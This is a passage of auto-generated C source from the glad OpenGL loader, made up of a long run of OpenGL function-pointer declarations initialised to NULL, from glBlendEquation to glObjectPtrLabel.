PFNGLBLENDEQUATIONPROC glad_glBlendEquation = NULL;
PFNGLBLENDEQUATIONSEPARATEPROC glad_glBlendEquationSeparate = NULL;
PFNGLBLENDEQUATIONSEPARATEIPROC glad_glBlendEquationSeparatei = NULL;
PFNGLBLENDEQUATIONIPROC glad_glBlendEquationi = NULL;
PFNGLBLENDFUNCPROC glad_glBlendFunc = NULL;
PFNGLBLENDFUNCSEPARATEPROC glad_glBlendFuncSeparate = NULL;
PFNGLBLENDFUNCSEPARATEIPROC glad_glBlendFuncSeparatei = NULL;
PFNGLBLENDFUNCIPROC glad_glBlendFunci = NULL;
PFNGLBLITFRAMEBUFFERPROC glad_glBlitFramebuffer = NULL;
PFNGLBLITNAMEDFRAMEBUFFERPROC glad_glBlitNamedFramebuffer = NULL;
PFNGLBUFFERDATAPROC glad_glBufferData = NULL;
PFNGLBUFFERSTORAGEPROC glad_glBufferStorage = NULL;
PFNGLBUFFERSUBDATAPROC glad_glBufferSubData = NULL;
PFNGLCHECKFRAMEBUFFERSTATUSPROC glad_glCheckFramebufferStatus = NULL;
PFNGLCHECKNAMEDFRAMEBUFFERSTATUSPROC glad_glCheckNamedFramebufferStatus = NULL;
PFNGLCLAMPCOLORPROC glad_glClampColor = NULL;
PFNGLCLEARPROC glad_glClear = NULL;
PFNGLCLEARBUFFERDATAPROC glad_glClearBufferData = NULL;
PFNGLCLEARBUFFERSUBDATAPROC glad_glClearBufferSubData = NULL;
PFNGLCLEARBUFFERFIPROC glad_glClearBufferfi = NULL;
PFNGLCLEARBUFFERFVPROC glad_glClearBufferfv = NULL;
PFNGLCLEARBUFFERIVPROC glad_glClearBufferiv = NULL;
PFNGLCLEARBUFFERUIVPROC glad_glClearBufferuiv = NULL;
PFNGLCLEARCOLORPROC glad_glClearColor = NULL;
PFNGLCLEARDEPTHPROC glad_glClearDepth = NULL;
PFNGLCLEARDEPTHFPROC glad_glClearDepthf = NULL;
PFNGLCLEARNAMEDBUFFERDATAPROC glad_glClearNamedBufferData = NULL;
PFNGLCLEARNAMEDBUFFERSUBDATAPROC glad_glClearNamedBufferSubData = NULL;
PFNGLCLEARNAMEDFRAMEBUFFERFIPROC glad_glClearNamedFramebufferfi = NULL;
PFNGLCLEARNAMEDFRAMEBUFFERFVPROC glad_glClearNamedFramebufferfv = NULL;
PFNGLCLEARNAMEDFRAMEBUFFERIVPROC glad_glClearNamedFramebufferiv = NULL;
PFNGLCLEARNAMEDFRAMEBUFFERUIVPROC glad_glClearNamedFramebufferuiv = NULL;
PFNGLCLEARSTENCILPROC glad_glClearStencil = NULL;
PFNGLCLEARTEXIMAGEPROC glad_glClearTexImage = NULL;
PFNGLCLEARTEXSUBIMAGEPROC glad_glClearTexSubImage = NULL;
PFNGLCLIENTWAITSYNCPROC glad_glClientWaitSync = NULL;
PFNGLCLIPCONTROLPROC glad_glClipControl = NULL;
PFNGLCOLORMASKPROC glad_glColorMask = NULL;
PFNGLCOLORMASKIPROC glad_glColorMaski = NULL;
PFNGLCOLORP3UIPROC glad_glColorP3ui = NULL;
PFNGLCOLORP3UIVPROC glad_glColorP3uiv = NULL;
PFNGLCOLORP4UIPROC glad_glColorP4ui = NULL;
PFNGLCOLORP4UIVPROC glad_glColorP4uiv = NULL;
PFNGLCOMPILESHADERPROC glad_glCompileShader = NULL;
PFNGLCOMPRESSEDTEXIMAGE1DPROC glad_glCompressedTexImage1D = NULL;
PFNGLCOMPRESSEDTEXIMAGE2DPROC glad_glCompressedTexImage2D = NULL;
PFNGLCOMPRESSEDTEXIMAGE3DPROC glad_glCompressedTexImage3D = NULL;
PFNGLCOMPRESSEDTEXSUBIMAGE1DPROC glad_glCompressedTexSubImage1D = NULL;
PFNGLCOMPRESSEDTEXSUBIMAGE2DPROC glad_glCompressedTexSubImage2D = NULL;
PFNGLCOMPRESSEDTEXSUBIMAGE3DPROC glad_glCompressedTexSubImage3D = NULL;
PFNGLCOMPRESSEDTEXTURESUBIMAGE1DPROC glad_glCompressedTextureSubImage1D = NULL;
PFNGLCOMPRESSEDTEXTURESUBIMAGE2DPROC glad_glCompressedTextureSubImage2D = NULL;
PFNGLCOMPRESSEDTEXTURESUBIMAGE3DPROC glad_glCompressedTextureSubImage3D = NULL;
PFNGLCOPYBUFFERSUBDATAPROC glad_glCopyBufferSubData = NULL;
PFNGLCOPYIMAGESUBDATAPROC glad_glCopyImageSubData = NULL;
PFNGLCOPYNAMEDBUFFERSUBDATAPROC glad_glCopyNamedBufferSubData = NULL;
PFNGLCOPYTEXIMAGE1DPROC glad_glCopyTexImage1D = NULL;
PFNGLCOPYTEXIMAGE2DPROC glad_glCopyTexImage2D = NULL;
PFNGLCOPYTEXSUBIMAGE1DPROC glad_glCopyTexSubImage1D = NULL;
PFNGLCOPYTEXSUBIMAGE2DPROC glad_glCopyTexSubImage2D = NULL;
PFNGLCOPYTEXSUBIMAGE3DPROC glad_glCopyTexSubImage3D = NULL;
PFNGLCOPYTEXTURESUBIMAGE1DPROC glad_glCopyTextureSubImage1D = NULL;
PFNGLCOPYTEXTURESUBIMAGE2DPROC glad_glCopyTextureSubImage2D = NULL;
PFNGLCOPYTEXTURESUBIMAGE3DPROC glad_glCopyTextureSubImage3D = NULL;
PFNGLCREATEBUFFERSPROC glad_glCreateBuffers = NULL;
PFNGLCREATEFRAMEBUFFERSPROC glad_glCreateFramebuffers = NULL;
PFNGLCREATEPROGRAMPROC glad_glCreateProgram = NULL;
PFNGLCREATEPROGRAMPIPELINESPROC glad_glCreateProgramPipelines = NULL;
PFNGLCREATEQUERIESPROC glad_glCreateQueries = NULL;
PFNGLCREATERENDERBUFFERSPROC glad_glCreateRenderbuffers = NULL;
PFNGLCREATESAMPLERSPROC glad_glCreateSamplers = NULL;
PFNGLCREATESHADERPROC glad_glCreateShader = NULL;
PFNGLCREATESHADERPROGRAMVPROC glad_glCreateShaderProgramv = NULL;
PFNGLCREATETEXTURESPROC glad_glCreateTextures = NULL;
PFNGLCREATETRANSFORMFEEDBACKSPROC glad_glCreateTransformFeedbacks = NULL;
PFNGLCREATEVERTEXARRAYSPROC glad_glCreateVertexArrays = NULL;
PFNGLCULLFACEPROC glad_glCullFace = NULL;
PFNGLDEBUGMESSAGECALLBACKPROC glad_glDebugMessageCallback = NULL;
PFNGLDEBUGMESSAGECONTROLPROC glad_glDebugMessageControl = NULL;
PFNGLDEBUGMESSAGEINSERTPROC glad_glDebugMessageInsert = NULL;
PFNGLDELETEBUFFERSPROC glad_glDeleteBuffers = NULL;
PFNGLDELETEFRAMEBUFFERSPROC glad_glDeleteFramebuffers = NULL;
PFNGLDELETEPROGRAMPROC glad_glDeleteProgram = NULL;
PFNGLDELETEPROGRAMPIPELINESPROC glad_glDeleteProgramPipelines = NULL;
PFNGLDELETEQUERIESPROC glad_glDeleteQueries = NULL;
PFNGLDELETERENDERBUFFERSPROC glad_glDeleteRenderbuffers = NULL;
PFNGLDELETESAMPLERSPROC glad_glDeleteSamplers = NULL;
PFNGLDELETESHADERPROC glad_glDeleteShader = NULL;
PFNGLDELETESYNCPROC glad_glDeleteSync = NULL;
PFNGLDELETETEXTURESPROC glad_glDeleteTextures = NULL;
PFNGLDELETETRANSFORMFEEDBACKSPROC glad_glDeleteTransformFeedbacks = NULL;
PFNGLDELETEVERTEXARRAYSPROC glad_glDeleteVertexArrays = NULL;
PFNGLDEPTHFUNCPROC glad_glDepthFunc = NULL;
PFNGLDEPTHMASKPROC glad_glDepthMask = NULL;
PFNGLDEPTHRANGEPROC glad_glDepthRange = NULL;
PFNGLDEPTHRANGEARRAYVPROC glad_glDepthRangeArrayv = NULL;
PFNGLDEPTHRANGEINDEXEDPROC glad_glDepthRangeIndexed = NULL;
PFNGLDEPTHRANGEFPROC glad_glDepthRangef = NULL;
PFNGLDETACHSHADERPROC glad_glDetachShader = NULL;
PFNGLDISABLEPROC glad_glDisable = NULL;
PFNGLDISABLEVERTEXARRAYATTRIBPROC glad_glDisableVertexArrayAttrib = NULL;
PFNGLDISABLEVERTEXATTRIBARRAYPROC glad_glDisableVertexAttribArray = NULL;
PFNGLDISABLEIPROC glad_glDisablei = NULL;
PFNGLDISPATCHCOMPUTEPROC glad_glDispatchCompute = NULL;
PFNGLDISPATCHCOMPUTEINDIRECTPROC glad_glDispatchComputeIndirect = NULL;
PFNGLDRAWARRAYSPROC glad_glDrawArrays = NULL;
PFNGLDRAWARRAYSINDIRECTPROC glad_glDrawArraysIndirect = NULL;
PFNGLDRAWARRAYSINSTANCEDPROC glad_glDrawArraysInstanced = NULL;
PFNGLDRAWARRAYSINSTANCEDBASEINSTANCEPROC glad_glDrawArraysInstancedBaseInstance = NULL;
PFNGLDRAWBUFFERPROC glad_glDrawBuffer = NULL;
PFNGLDRAWBUFFERSPROC glad_glDrawBuffers = NULL;
PFNGLDRAWELEMENTSPROC glad_glDrawElements = NULL;
PFNGLDRAWELEMENTSBASEVERTEXPROC glad_glDrawElementsBaseVertex = NULL;
PFNGLDRAWELEMENTSINDIRECTPROC glad_glDrawElementsIndirect = NULL;
PFNGLDRAWELEMENTSINSTANCEDPROC glad_glDrawElementsInstanced = NULL;
PFNGLDRAWELEMENTSINSTANCEDBASEINSTANCEPROC glad_glDrawElementsInstancedBaseInstance = NULL;
PFNGLDRAWELEMENTSINSTANCEDBASEVERTEXPROC glad_glDrawElementsInstancedBaseVertex = NULL;
PFNGLDRAWELEMENTSINSTANCEDBASEVERTEXBASEINSTANCEPROC glad_glDrawElementsInstancedBaseVertexBaseInstance = NULL;
PFNGLDRAWRANGEELEMENTSPROC glad_glDrawRangeElements = NULL;
PFNGLDRAWRANGEELEMENTSBASEVERTEXPROC glad_glDrawRangeElementsBaseVertex = NULL;
PFNGLDRAWTRANSFORMFEEDBACKPROC glad_glDrawTransformFeedback = NULL;
PFNGLDRAWTRANSFORMFEEDBACKINSTANCEDPROC glad_glDrawTransformFeedbackInstanced = NULL;
PFNGLDRAWTRANSFORMFEEDBACKSTREAMPROC glad_glDrawTransformFeedbackStream = NULL;
PFNGLDRAWTRANSFORMFEEDBACKSTREAMINSTANCEDPROC glad_glDrawTransformFeedbackStreamInstanced = NULL;
PFNGLENABLEPROC glad_glEnable = NULL;
PFNGLENABLEVERTEXARRAYATTRIBPROC glad_glEnableVertexArrayAttrib = NULL;
PFNGLENABLEVERTEXATTRIBARRAYPROC glad_glEnableVertexAttribArray = NULL;
PFNGLENABLEIPROC glad_glEnablei = NULL;
PFNGLENDCONDITIONALRENDERPROC glad_glEndConditionalRender = NULL;
PFNGLENDQUERYPROC glad_glEndQuery = NULL;
PFNGLENDQUERYINDEXEDPROC glad_glEndQueryIndexed = NULL;
PFNGLENDTRANSFORMFEEDBACKPROC glad_glEndTransformFeedback = NULL;
PFNGLFENCESYNCPROC glad_glFenceSync = NULL;
PFNGLFINISHPROC glad_glFinish = NULL;
PFNGLFLUSHPROC glad_glFlush = NULL;
PFNGLFLUSHMAPPEDBUFFERRANGEPROC glad_glFlushMappedBufferRange = NULL;
PFNGLFLUSHMAPPEDNAMEDBUFFERRANGEPROC glad_glFlushMappedNamedBufferRange = NULL;
PFNGLFRAMEBUFFERPARAMETERIPROC glad_glFramebufferParameteri = NULL;
PFNGLFRAMEBUFFERRENDERBUFFERPROC glad_glFramebufferRenderbuffer = NULL;
PFNGLFRAMEBUFFERTEXTUREPROC glad_glFramebufferTexture = NULL;
PFNGLFRAMEBUFFERTEXTURE1DPROC glad_glFramebufferTexture1D = NULL;
PFNGLFRAMEBUFFERTEXTURE2DPROC glad_glFramebufferTexture2D = NULL;
PFNGLFRAMEBUFFERTEXTURE3DPROC glad_glFramebufferTexture3D = NULL;
PFNGLFRAMEBUFFERTEXTURELAYERPROC glad_glFramebufferTextureLayer = NULL;
PFNGLFRONTFACEPROC glad_glFrontFace = NULL;
PFNGLGENBUFFERSPROC glad_glGenBuffers = NULL;
PFNGLGENFRAMEBUFFERSPROC glad_glGenFramebuffers = NULL;
PFNGLGENPROGRAMPIPELINESPROC glad_glGenProgramPipelines = NULL;
PFNGLGENQUERIESPROC glad_glGenQueries = NULL;
PFNGLGENRENDERBUFFERSPROC glad_glGenRenderbuffers = NULL;
PFNGLGENSAMPLERSPROC glad_glGenSamplers = NULL;
PFNGLGENTEXTURESPROC glad_glGenTextures = NULL;
PFNGLGENTRANSFORMFEEDBACKSPROC glad_glGenTransformFeedbacks = NULL;
PFNGLGENVERTEXARRAYSPROC glad_glGenVertexArrays = NULL;
PFNGLGENERATEMIPMAPPROC glad_glGenerateMipmap = NULL;
PFNGLGENERATETEXTUREMIPMAPPROC glad_glGenerateTextureMipmap = NULL;
PFNGLGETACTIVEATOMICCOUNTERBUFFERIVPROC glad_glGetActiveAtomicCounterBufferiv = NULL;
PFNGLGETACTIVEATTRIBPROC glad_glGetActiveAttrib = NULL;
PFNGLGETACTIVESUBROUTINENAMEPROC glad_glGetActiveSubroutineName = NULL;
PFNGLGETACTIVESUBROUTINEUNIFORMNAMEPROC glad_glGetActiveSubroutineUniformName = NULL;
PFNGLGETACTIVESUBROUTINEUNIFORMIVPROC glad_glGetActiveSubroutineUniformiv = NULL;
PFNGLGETACTIVEUNIFORMPROC glad_glGetActiveUniform = NULL;
PFNGLGETACTIVEUNIFORMBLOCKNAMEPROC glad_glGetActiveUniformBlockName = NULL;
PFNGLGETACTIVEUNIFORMBLOCKIVPROC glad_glGetActiveUniformBlockiv = NULL;
PFNGLGETACTIVEUNIFORMNAMEPROC glad_glGetActiveUniformName = NULL;
PFNGLGETACTIVEUNIFORMSIVPROC glad_glGetActiveUniformsiv = NULL;
PFNGLGETATTACHEDSHADERSPROC glad_glGetAttachedShaders = NULL;
PFNGLGETATTRIBLOCATIONPROC glad_glGetAttribLocation = NULL;
PFNGLGETBOOLEANI_VPROC glad_glGetBooleani_v = NULL;
PFNGLGETBOOLEANVPROC glad_glGetBooleanv = NULL;
PFNGLGETBUFFERPARAMETERI64VPROC glad_glGetBufferParameteri64v = NULL;
PFNGLGETBUFFERPARAMETERIVPROC glad_glGetBufferParameteriv = NULL;
PFNGLGETBUFFERPOINTERVPROC glad_glGetBufferPointerv = NULL;
PFNGLGETBUFFERSUBDATAPROC glad_glGetBufferSubData = NULL;
PFNGLGETCOMPRESSEDTEXIMAGEPROC glad_glGetCompressedTexImage = NULL;
PFNGLGETCOMPRESSEDTEXTUREIMAGEPROC glad_glGetCompressedTextureImage = NULL;
PFNGLGETCOMPRESSEDTEXTURESUBIMAGEPROC glad_glGetCompressedTextureSubImage = NULL;
PFNGLGETDEBUGMESSAGELOGPROC glad_glGetDebugMessageLog = NULL;
PFNGLGETDOUBLEI_VPROC glad_glGetDoublei_v = NULL;
PFNGLGETDOUBLEVPROC glad_glGetDoublev = NULL;
PFNGLGETERRORPROC glad_glGetError = NULL;
PFNGLGETFLOATI_VPROC glad_glGetFloati_v = NULL;
PFNGLGETFLOATVPROC glad_glGetFloatv = NULL;
PFNGLGETFRAGDATAINDEXPROC glad_glGetFragDataIndex = NULL;
PFNGLGETFRAGDATALOCATIONPROC glad_glGetFragDataLocation = NULL;
PFNGLGETFRAMEBUFFERATTACHMENTPARAMETERIVPROC glad_glGetFramebufferAttachmentParameteriv = NULL;
PFNGLGETFRAMEBUFFERPARAMETERIVPROC glad_glGetFramebufferParameteriv = NULL;
PFNGLGETGRAPHICSRESETSTATUSPROC glad_glGetGraphicsResetStatus = NULL;
PFNGLGETINTEGER64I_VPROC glad_glGetInteger64i_v = NULL;
PFNGLGETINTEGER64VPROC glad_glGetInteger64v = NULL;
PFNGLGETINTEGERI_VPROC glad_glGetIntegeri_v = NULL;
PFNGLGETINTEGERVPROC glad_glGetIntegerv = NULL;
PFNGLGETINTERNALFORMATI64VPROC glad_glGetInternalformati64v = NULL;
PFNGLGETINTERNALFORMATIVPROC glad_glGetInternalformativ = NULL;
PFNGLGETMULTISAMPLEFVPROC glad_glGetMultisamplefv = NULL;
PFNGLGETNAMEDBUFFERPARAMETERI64VPROC glad_glGetNamedBufferParameteri64v = NULL;
PFNGLGETNAMEDBUFFERPARAMETERIVPROC glad_glGetNamedBufferParameteriv = NULL;
PFNGLGETNAMEDBUFFERPOINTERVPROC glad_glGetNamedBufferPointerv = NULL;
PFNGLGETNAMEDBUFFERSUBDATAPROC glad_glGetNamedBufferSubData = NULL;
PFNGLGETNAMEDFRAMEBUFFERATTACHMENTPARAMETERIVPROC glad_glGetNamedFramebufferAttachmentParameteriv = NULL;
PFNGLGETNAMEDFRAMEBUFFERPARAMETERIVPROC glad_glGetNamedFramebufferParameteriv = NULL;
PFNGLGETNAMEDRENDERBUFFERPARAMETERIVPROC glad_glGetNamedRenderbufferParameteriv = NULL;
PFNGLGETOBJECTLABELPROC glad_glGetObjectLabel = NULL;
PFNGLGETOBJECTPTRLABELPROC glad_glGetObjectPtrLabel = NULL;
PFNGLGETPOINTERVPROC glad_glGetPointerv = NULL;
PFNGLGETPROGRAMBINARYPROC glad_glGetProgramBinary = NULL;
PFNGLGETPROGRAMINFOLOGPROC glad_glGetProgramInfoLog = NULL;
PFNGLGETPROGRAMINTERFACEIVPROC glad_glGetProgramInterfaceiv = NULL;
PFNGLGETPROGRAMPIPELINEINFOLOGPROC glad_glGetProgramPipelineInfoLog = NULL;
PFNGLGETPROGRAMPIPELINEIVPROC glad_glGetProgramPipelineiv = NULL;
PFNGLGETPROGRAMRESOURCEINDEXPROC glad_glGetProgramResourceIndex = NULL;
PFNGLGETPROGRAMRESOURCELOCATIONPROC glad_glGetProgramResourceLocation = NULL;
PFNGLGETPROGRAMRESOURCELOCATIONINDEXPROC glad_glGetProgramResourceLocationIndex = NULL;
PFNGLGETPROGRAMRESOURCENAMEPROC glad_glGetProgramResourceName = NULL;
PFNGLGETPROGRAMRESOURCEIVPROC glad_glGetProgramResourceiv = NULL;
PFNGLGETPROGRAMSTAGEIVPROC glad_glGetProgramStageiv = NULL;
PFNGLGETPROGRAMIVPROC glad_glGetProgramiv = NULL;
PFNGLGETQUERYBUFFEROBJECTI64VPROC glad_glGetQueryBufferObjecti64v = NULL;
PFNGLGETQUERYBUFFEROBJECTIVPROC glad_glGetQueryBufferObjectiv = NULL;
PFNGLGETQUERYBUFFEROBJECTUI64VPROC glad_glGetQueryBufferObjectui64v = NULL;
PFNGLGETQUERYBUFFEROBJECTUIVPROC glad_glGetQueryBufferObjectuiv = NULL;
PFNGLGETQUERYINDEXEDIVPROC glad_glGetQueryIndexediv = NULL;
PFNGLGETQUERYOBJECTI64VPROC glad_glGetQueryObjecti64v = NULL;
PFNGLGETQUERYOBJECTIVPROC glad_glGetQueryObjectiv = NULL;
PFNGLGETQUERYOBJECTUI64VPROC glad_glGetQueryObjectui64v = NULL;
PFNGLGETQUERYOBJECTUIVPROC glad_glGetQueryObjectuiv = NULL;
PFNGLGETQUERYIVPROC glad_glGetQueryiv = NULL;
PFNGLGETRENDERBUFFERPARAMETERIVPROC glad_glGetRenderbufferParameteriv = NULL;
PFNGLGETSAMPLERPARAMETERIIVPROC glad_glGetSamplerParameterIiv = NULL;
PFNGLGETSAMPLERPARAMETERIUIVPROC glad_glGetSamplerParameterIuiv = NULL;
PFNGLGETSAMPLERPARAMETERFVPROC glad_glGetSamplerParameterfv = NULL;
PFNGLGETSAMPLERPARAMETERIVPROC glad_glGetSamplerParameteriv = NULL;
PFNGLGETSHADERINFOLOGPROC glad_glGetShaderInfoLog = NULL;
PFNGLGETSHADERPRECISIONFORMATPROC glad_glGetShaderPrecisionFormat = NULL;
PFNGLGETSHADERSOURCEPROC glad_glGetShaderSource = NULL;
PFNGLGETSHADERIVPROC glad_glGetShaderiv = NULL;
PFNGLGETSTRINGPROC glad_glGetString = NULL;
PFNGLGETSTRINGIPROC glad_glGetStringi = NULL;
PFNGLGETSUBROUTINEINDEXPROC glad_glGetSubroutineIndex = NULL;
PFNGLGETSUBROUTINEUNIFORMLOCATIONPROC glad_glGetSubroutineUniformLocation = NULL;
PFNGLGETSYNCIVPROC glad_glGetSynciv = NULL;
PFNGLGETTEXIMAGEPROC glad_glGetTexImage = NULL;
PFNGLGETTEXLEVELPARAMETERFVPROC glad_glGetTexLevelParameterfv = NULL;
PFNGLGETTEXLEVELPARAMETERIVPROC glad_glGetTexLevelParameteriv = NULL;
PFNGLGETTEXPARAMETERIIVPROC glad_glGetTexParameterIiv = NULL;
PFNGLGETTEXPARAMETERIUIVPROC glad_glGetTexParameterIuiv = NULL;
PFNGLGETTEXPARAMETERFVPROC glad_glGetTexParameterfv = NULL;
PFNGLGETTEXPARAMETERIVPROC glad_glGetTexParameteriv = NULL;
PFNGLGETTEXTUREIMAGEPROC glad_glGetTextureImage = NULL;
PFNGLGETTEXTURELEVELPARAMETERFVPROC glad_glGetTextureLevelParameterfv = NULL;
PFNGLGETTEXTURELEVELPARAMETERIVPROC glad_glGetTextureLevelParameteriv = NULL;
PFNGLGETTEXTUREPARAMETERIIVPROC glad_glGetTextureParameterIiv = NULL;
PFNGLGETTEXTUREPARAMETERIUIVPROC glad_glGetTextureParameterIuiv = NULL;
PFNGLGETTEXTUREPARAMETERFVPROC glad_glGetTextureParameterfv = NULL;
PFNGLGETTEXTUREPARAMETERIVPROC glad_glGetTextureParameteriv = NULL;
PFNGLGETTEXTURESUBIMAGEPROC glad_glGetTextureSubImage = NULL;
PFNGLGETTRANSFORMFEEDBACKVARYINGPROC glad_glGetTransformFeedbackVarying = NULL;
PFNGLGETTRANSFORMFEEDBACKI64_VPROC glad_glGetTransformFeedbacki64_v = NULL;
PFNGLGETTRANSFORMFEEDBACKI_VPROC glad_glGetTransformFeedbacki_v = NULL;
PFNGLGETTRANSFORMFEEDBACKIVPROC glad_glGetTransformFeedbackiv = NULL;
PFNGLGETUNIFORMBLOCKINDEXPROC glad_glGetUniformBlockIndex = NULL;
PFNGLGETUNIFORMINDICESPROC glad_glGetUniformIndices = NULL;
PFNGLGETUNIFORMLOCATIONPROC glad_glGetUniformLocation = NULL;
PFNGLGETUNIFORMSUBROUTINEUIVPROC glad_glGetUniformSubroutineuiv = NULL;
PFNGLGETUNIFORMDVPROC glad_glGetUniformdv = NULL;
PFNGLGETUNIFORMFVPROC glad_glGetUniformfv = NULL;
PFNGLGETUNIFORMIVPROC glad_glGetUniformiv = NULL;
PFNGLGETUNIFORMUIVPROC glad_glGetUniformuiv = NULL;
PFNGLGETVERTEXARRAYINDEXED64IVPROC glad_glGetVertexArrayIndexed64iv = NULL;
PFNGLGETVERTEXARRAYINDEXEDIVPROC glad_glGetVertexArrayIndexediv = NULL;
PFNGLGETVERTEXARRAYIVPROC glad_glGetVertexArrayiv = NULL;
PFNGLGETVERTEXATTRIBIIVPROC glad_glGetVertexAttribIiv = NULL;
PFNGLGETVERTEXATTRIBIUIVPROC glad_glGetVertexAttribIuiv = NULL;
PFNGLGETVERTEXATTRIBLDVPROC glad_glGetVertexAttribLdv = NULL;
PFNGLGETVERTEXATTRIBPOINTERVPROC glad_glGetVertexAttribPointerv = NULL;
PFNGLGETVERTEXATTRIBDVPROC glad_glGetVertexAttribdv = NULL;
PFNGLGETVERTEXATTRIBFVPROC glad_glGetVertexAttribfv = NULL;
PFNGLGETVERTEXATTRIBIVPROC glad_glGetVertexAttribiv = NULL;
PFNGLGETNCOLORTABLEPROC glad_glGetnColorTable = NULL;
PFNGLGETNCOMPRESSEDTEXIMAGEPROC glad_glGetnCompressedTexImage = NULL;
PFNGLGETNCONVOLUTIONFILTERPROC glad_glGetnConvolutionFilter = NULL;
PFNGLGETNHISTOGRAMPROC glad_glGetnHistogram = NULL;
PFNGLGETNMAPDVPROC glad_glGetnMapdv = NULL;
PFNGLGETNMAPFVPROC glad_glGetnMapfv = NULL;
PFNGLGETNMAPIVPROC glad_glGetnMapiv = NULL;
PFNGLGETNMINMAXPROC glad_glGetnMinmax = NULL;
PFNGLGETNPIXELMAPFVPROC glad_glGetnPixelMapfv = NULL;
PFNGLGETNPIXELMAPUIVPROC glad_glGetnPixelMapuiv = NULL;
PFNGLGETNPIXELMAPUSVPROC glad_glGetnPixelMapusv = NULL;
PFNGLGETNPOLYGONSTIPPLEPROC glad_glGetnPolygonStipple = NULL;
PFNGLGETNSEPARABLEFILTERPROC glad_glGetnSeparableFilter = NULL;
PFNGLGETNTEXIMAGEPROC glad_glGetnTexImage = NULL;
PFNGLGETNUNIFORMDVPROC glad_glGetnUniformdv = NULL;
PFNGLGETNUNIFORMFVPROC glad_glGetnUniformfv = NULL;
PFNGLGETNUNIFORMIVPROC glad_glGetnUniformiv = NULL;
PFNGLGETNUNIFORMUIVPROC glad_glGetnUniformuiv = NULL;
PFNGLHINTPROC glad_glHint = NULL;
PFNGLINVALIDATEBUFFERDATAPROC glad_glInvalidateBufferData = NULL;
PFNGLINVALIDATEBUFFERSUBDATAPROC glad_glInvalidateBufferSubData = NULL;
PFNGLINVALIDATEFRAMEBUFFERPROC glad_glInvalidateFramebuffer = NULL;
PFNGLINVALIDATENAMEDFRAMEBUFFERDATAPROC glad_glInvalidateNamedFramebufferData = NULL;
PFNGLINVALIDATENAMEDFRAMEBUFFERSUBDATAPROC glad_glInvalidateNamedFramebufferSubData = NULL;
PFNGLINVALIDATESUBFRAMEBUFFERPROC glad_glInvalidateSubFramebuffer = NULL;
PFNGLINVALIDATETEXIMAGEPROC glad_glInvalidateTexImage = NULL;
PFNGLINVALIDATETEXSUBIMAGEPROC glad_glInvalidateTexSubImage = NULL;
PFNGLISBUFFERPROC glad_glIsBuffer = NULL;
PFNGLISENABLEDPROC glad_glIsEnabled = NULL;
PFNGLISENABLEDIPROC glad_glIsEnabledi = NULL;
PFNGLISFRAMEBUFFERPROC glad_glIsFramebuffer = NULL;
PFNGLISPROGRAMPROC glad_glIsProgram = NULL;
PFNGLISPROGRAMPIPELINEPROC glad_glIsProgramPipeline = NULL;
PFNGLISQUERYPROC glad_glIsQuery = NULL;
PFNGLISRENDERBUFFERPROC glad_glIsRenderbuffer = NULL;
PFNGLISSAMPLERPROC glad_glIsSampler = NULL;
PFNGLISSHADERPROC glad_glIsShader = NULL;
PFNGLISSYNCPROC glad_glIsSync = NULL;
PFNGLISTEXTUREPROC glad_glIsTexture = NULL;
PFNGLISTRANSFORMFEEDBACKPROC glad_glIsTransformFeedback = NULL;
PFNGLISVERTEXARRAYPROC glad_glIsVertexArray = NULL;
PFNGLLINEWIDTHPROC glad_glLineWidth = NULL;
PFNGLLINKPROGRAMPROC glad_glLinkProgram = NULL;
PFNGLLOGICOPPROC glad_glLogicOp = NULL;
PFNGLMAPBUFFERPROC glad_glMapBuffer = NULL;
PFNGLMAPBUFFERRANGEPROC glad_glMapBufferRange = NULL;
PFNGLMAPNAMEDBUFFERPROC glad_glMapNamedBuffer = NULL;
PFNGLMAPNAMEDBUFFERRANGEPROC glad_glMapNamedBufferRange = NULL;
PFNGLMEMORYBARRIERPROC glad_glMemoryBarrier = NULL;
PFNGLMEMORYBARRIERBYREGIONPROC glad_glMemoryBarrierByRegion = NULL;
PFNGLMINSAMPLESHADINGPROC glad_glMinSampleShading = NULL;
PFNGLMULTIDRAWARRAYSPROC glad_glMultiDrawArrays = NULL;
PFNGLMULTIDRAWARRAYSINDIRECTPROC glad_glMultiDrawArraysIndirect = NULL;
PFNGLMULTIDRAWELEMENTSPROC glad_glMultiDrawElements = NULL;
PFNGLMULTIDRAWELEMENTSBASEVERTEXPROC glad_glMultiDrawElementsBaseVertex = NULL;
PFNGLMULTIDRAWELEMENTSINDIRECTPROC glad_glMultiDrawElementsIndirect = NULL;
PFNGLMULTITEXCOORDP1UIPROC glad_glMultiTexCoordP1ui = NULL;
PFNGLMULTITEXCOORDP1UIVPROC glad_glMultiTexCoordP1uiv = NULL;
PFNGLMULTITEXCOORDP2UIPROC glad_glMultiTexCoordP2ui = NULL;
PFNGLMULTITEXCOORDP2UIVPROC glad_glMultiTexCoordP2uiv = NULL;
PFNGLMULTITEXCOORDP3UIPROC glad_glMultiTexCoordP3ui = NULL;
PFNGLMULTITEXCOORDP3UIVPROC glad_glMultiTexCoordP3uiv = NULL;
PFNGLMULTITEXCOORDP4UIPROC glad_glMultiTexCoordP4ui = NULL;
PFNGLMULTITEXCOORDP4UIVPROC glad_glMultiTexCoordP4uiv = NULL;
PFNGLNAMEDBUFFERDATAPROC glad_glNamedBufferData = NULL;
PFNGLNAMEDBUFFERSTORAGEPROC glad_glNamedBufferStorage = NULL;
PFNGLNAMEDBUFFERSUBDATAPROC glad_glNamedBufferSubData = NULL;
PFNGLNAMEDFRAMEBUFFERDRAWBUFFERPROC glad_glNamedFramebufferDrawBuffer = NULL;
PFNGLNAMEDFRAMEBUFFERDRAWBUFFERSPROC glad_glNamedFramebufferDrawBuffers = NULL;
PFNGLNAMEDFRAMEBUFFERPARAMETERIPROC glad_glNamedFramebufferParameteri = NULL;
PFNGLNAMEDFRAMEBUFFERREADBUFFERPROC glad_glNamedFramebufferReadBuffer = NULL;
PFNGLNAMEDFRAMEBUFFERRENDERBUFFERPROC glad_glNamedFramebufferRenderbuffer = NULL;
PFNGLNAMEDFRAMEBUFFERTEXTUREPROC glad_glNamedFramebufferTexture = NULL;
PFNGLNAMEDFRAMEBUFFERTEXTURELAYERPROC glad_glNamedFramebufferTextureLayer = NULL;
PFNGLNAMEDRENDERBUFFERSTORAGEPROC glad_glNamedRenderbufferStorage = NULL;
PFNGLNAMEDRENDERBUFFERSTORAGEMULTISAMPLEPROC glad_glNamedRenderbufferStorageMultisample = NULL;
PFNGLNORMALP3UIPROC glad_glNormalP3ui = NULL;
PFNGLNORMALP3UIVPROC glad_glNormalP3uiv = NULL;
PFNGLOBJECTLABELPROC glad_glObjectLabel = NULL;
PFNGLOBJECTPTRLABELPROC glad_glObjectPtrLabel = NULL;
